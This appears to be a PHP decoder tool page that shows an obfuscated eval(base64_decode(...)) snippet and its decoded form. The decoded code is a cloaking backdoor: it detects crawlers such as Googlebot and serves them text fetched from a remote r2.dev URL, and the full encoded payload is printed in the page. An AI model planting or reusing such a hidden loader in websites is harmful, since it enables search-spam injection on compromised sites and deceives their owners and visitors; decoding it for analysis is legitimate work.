Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode("\x5a\62\71\x30\x62\x79\102\x74\x55\125\71\66\x4d\152\x73\x67\x..
Decoded Output download
goto mQOz2; mQOz2: function is_bot() { $user_agent = $_SERVER["HTTP_USER_AGENT"]; $bots = array("Googlebot", "TelegramBot", "bingbot", "Google-Site-Verification", "Google-InspectionTool"); foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } goto Lzs9I; Lzs9I: if (is_bot()) { $message = file_get_contents("https://pub-490591e061e7435b9836c1e169dcaca5.r2.dev/sirantik.txt"); echo $message; } goto H80_V; H80_V:Did this file decode correctly?
Original Code
<?php
eval(base64_decode("\x5a\62\71\x30\x62\x79\102\x74\x55\125\71\66\x4d\152\x73\x67\x62\126\x46\120\145\x6a\111\x36\111\107\x5a\61\142\x6d\x4e\x30\x61\127\71\x75\x49\x47\x6c\172\x58\62\112\x76\x64\103\147\x70\x49\110\163\x67\x4a\110\x56\172\132\x58\x4a\x66\x59\x57\x64\154\x62\x6e\121\147\x50\x53\101\153\x58\x31\116\x46\x55\x6c\132\x46\x55\x6c\x73\151\x53\x46\122\x55\x55\106\x39\x56\x55\x30\x56\x53\x58\x30\106\110\122\x55\65\125\x49\x6c\x30\x37\x49\x43\122\x69\x62\x33\122\x7a\x49\104\60\147\131\x58\112\171\x59\x58\153\157\x49\153\x64\x76\x62\62\x64\x73\132\x57\112\x76\144\103\111\x73\x49\x43\112\125\x5a\127\170\154\x5a\x33\112\150\142\125\x4a\166\144\103\x49\163\x49\x43\112\151\141\127\x35\x6e\x59\155\x39\x30\x49\x69\x77\147\111\153\144\166\x62\62\144\x73\132\x53\61\124\141\x58\x52\154\114\x56\x5a\154\x63\155\x6c\x6d\141\x57\116\x68\144\x47\x6c\166\x62\x69\111\163\x49\x43\x4a\x48\x62\62\x39\x6e\x62\107\x55\x74\x53\x57\x35\x7a\x63\107\126\x6a\x64\x47\154\x76\142\154\x52\x76\142\62\167\151\x4b\x54\163\x67\x5a\155\71\x79\x5a\x57\106\152\x61\x43\101\157\x4a\x47\x4a\166\x64\x48\115\147\x59\x58\115\147\112\x47\x4a\166\x64\x43\x6b\147\x65\x79\102\160\x5a\151\101\157\143\x33\122\171\141\130\102\x76\x63\x79\x67\153\x64\130\x4e\x6c\x63\x6c\x39\x68\132\62\126\165\144\x43\167\x67\112\x47\112\166\x64\x43\153\147\x49\124\x30\x39\111\107\132\150\x62\110\x4e\x6c\113\123\102\67\x49\x48\x4a\x6c\x64\x48\x56\x79\x62\x69\102\x30\143\156\126\x6c\x4f\171\x42\71\111\110\x30\x67\143\155\x56\60\x64\130\x4a\165\111\107\x5a\x68\x62\110\x4e\x6c\x4f\x79\x42\71\111\107\x64\x76\144\107\x38\x67\124\x48\160\x7a\x4f\125\x6b\x37\111\105\170\x36\x63\x7a\x6c\112\117\x69\102\160\x5a\x69\101\157\x61\130\x4e\x66\x59\155\71\x30\113\x43\x6b\x70\x49\110\163\147\112\107\61\x6c\143\63\116\x68\x5a\x32\125\147\120\x53\102\155\141\127\x78\x6c\x58\62\144\154\144\x46\x39\x6a\142\62\x35\x30\x5a\x57\65\60\x63\x79\147\151\x61\110\122\x30\143\110\115\66\x4c\x79\71\x77\x64\x57\111\164\x4e\104\153\167\x4e\124\x6b\170\x5a\x54\x41\x32\115\x57\x55\63\x4e\104\x4d\x31\x59\x6a\153\x34\115\x7a\132\152\x4d\127\x55\x78\116\152\154\x6b\131\x32\106\152\x59\124\x55\x75\143\152\x49\165\132\107\x56\x32\114\63\116\160\x63\155\x46\x75\x64\x47\154\162\x4c\x6e\x52\64\144\103\x49\160\x4f\x79\x42\154\131\x32\150\166\111\x43\122\x74\x5a\x58\x4e\x7a\131\127\x64\x6c\117\x79\102\71\111\x47\x64\166\144\x47\70\x67\x53\x44\147\167\x58\x31\x59\67\x49\x45\x67\x34\x4d\x46\71\127\117\x67\x3d\75")); ?>Function Calls
| base64_decode | 1 |
Stats
| MD5 | 731578ae3f10b3410130f2110dcd1272 |
| Eval Count | 1 |
| Decode Time | 39 ms |